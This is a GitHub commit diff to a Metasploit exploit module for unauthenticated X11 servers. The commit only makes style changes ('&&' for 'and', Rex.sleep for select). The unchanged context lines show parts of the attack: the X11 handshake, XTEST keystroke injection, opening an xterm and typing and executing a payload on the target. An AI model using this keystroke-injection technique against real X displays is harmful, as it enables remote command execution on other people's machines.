Skip to content

Commit dc8d1f6

Browse files
author
xistence
committed
Small changes
1 parent 1d492e4 commit dc8d1f6

File tree

1 file changed

+14
-14
lines changed

1 file changed

+14
-14
lines changed

modules/exploits/unix/x11/x11_keyboard_exec.rb

Lines changed: 14 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -169,7 +169,7 @@ def press_key(key)
169169
res = sock.get_once
170170

171171
# Response should give 1 on first byte (Success)
172-
unless res and res[0,1] == "\x01"
172+
unless res && res[0,1] == "\x01"
173173
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key} #{res.inspect}")
174174
end
175175

@@ -208,7 +208,7 @@ def release_key(key)
208208
res = sock.get_once
209209

210210
# Response should give 1 on first byte (Success)
211-
unless res and res[0,1] == "\x01"
211+
unless res && res[0,1] == "\x01"
212212
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key} #{res.inspect}")
213213
end
214214

@@ -276,7 +276,7 @@ def exploit
276276
res = send_msg(sock,req)
277277

278278
# Response should give 0x01 in first byte (Success)
279-
unless res and res[0,1] == "\x01"
279+
unless res && res[0,1] == "\x01"
280280
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 initial communication failed")
281281
end
282282

@@ -294,7 +294,7 @@ def exploit
294294
res = send_msg(sock,req)
295295

296296
# Response should give 0x01 in first byte (Success)
297-
if res and res[0,1] == "\x01"
297+
if res && res[0,1] == "\x01"
298298
@xkeyboard_opcode = res[9,1] # Retrieve the XKEYBOARD opcode
299299
else
300300
#puts res.inspect
@@ -312,7 +312,7 @@ def exploit
312312
# Retrieve the whole X11 details response
313313
res = send_msg(sock,req)
314314

315-
unless res and res[0,1] == "\x01"
315+
unless res && res[0,1] == "\x01"
316316
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD (opcode 136) failed -")
317317
end
318318

@@ -329,7 +329,7 @@ def exploit
329329
res = send_msg(sock,req)
330330

331331
# Response should give 0x01 in first byte (Success)
332-
unless res and res[0,1] == "\x01"
332+
unless res && res[0,1] == "\x01"
333333
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XInputExtension failed")
334334
end
335335

@@ -346,7 +346,7 @@ def exploit
346346
res = send_msg(sock,req)
347347

348348
# Response should give 0x01 in first byte (Success)
349-
if res and res[0,1] == "\x01"
349+
if res && res[0,1] == "\x01"
350350
@xtest_opcode = res[9,1] # Retrieve the XTEST opcode
351351
else
352352
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XTEST failed")
@@ -365,7 +365,7 @@ def exploit
365365
res = send_msg(sock,req)
366366

367367
# Response should give 0x01 in first byte (Success)
368-
if res and res[0,1] == "\x01"
368+
if res && res[0,1] == "\x01"
369369
@genericevent_opcode = res[9,1] # Retrieve the Generic Event Extension opcode
370370
else
371371
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) Generic Event Extension failed")
@@ -383,7 +383,7 @@ def exploit
383383
res = send_msg(sock,req)
384384

385385
# Response should give 0x01 in first byte (Success)
386-
unless res and res[0,1] == "\x01"
386+
unless res && res[0,1] == "\x01"
387387
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
388388
end
389389

@@ -399,7 +399,7 @@ def exploit
399399
res = send_msg(sock,req)
400400

401401
# Response should give 0x01 in first byte (Success)
402-
unless res and res[0,1] == "\x01"
402+
unless res && res[0,1] == "\x01"
403403
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XTEST failed")
404404
end
405405

@@ -415,7 +415,7 @@ def exploit
415415
res = send_msg(sock,req)
416416

417417
# Response should give 0x01 in first byte (Success)
418-
unless res and res[0,1] == "\x01"
418+
unless res && res[0,1] == "\x01"
419419
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request GetKeyboardMapping (opcode 101) failed")
420420
end
421421

@@ -448,7 +448,7 @@ def exploit
448448
res = send_msg(sock,req)
449449

450450
# Response should give 0x01 in first byte (Success)
451-
unless res and res[0,1] == "\x01"
451+
unless res && res[0,1] == "\x01"
452452
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
453453
end
454454

@@ -462,7 +462,7 @@ def exploit
462462

463463
# Wait X seconds to open the dialog
464464
print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")
465-
select(nil, nil, nil, datastore['TIME_WAIT'])
465+
Rex.sleep(datastore['TIME_WAIT'])
466466

467467
if datastore['TARGET'] == 0
468468
# Start a xterm terminal
@@ -476,7 +476,7 @@ def exploit
476476

477477
print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")
478478
# Wait X seconds to open the terminal
479-
select(nil, nil, nil, datastore['TIME_WAIT'])
479+
Rex.sleep(datastore['TIME_WAIT'])
480480

481481
# "Type" our payload and execute it
482482
print_status("#{rhost}:#{rport} - Typing and executing payload")

0 commit comments

Comments
 (0)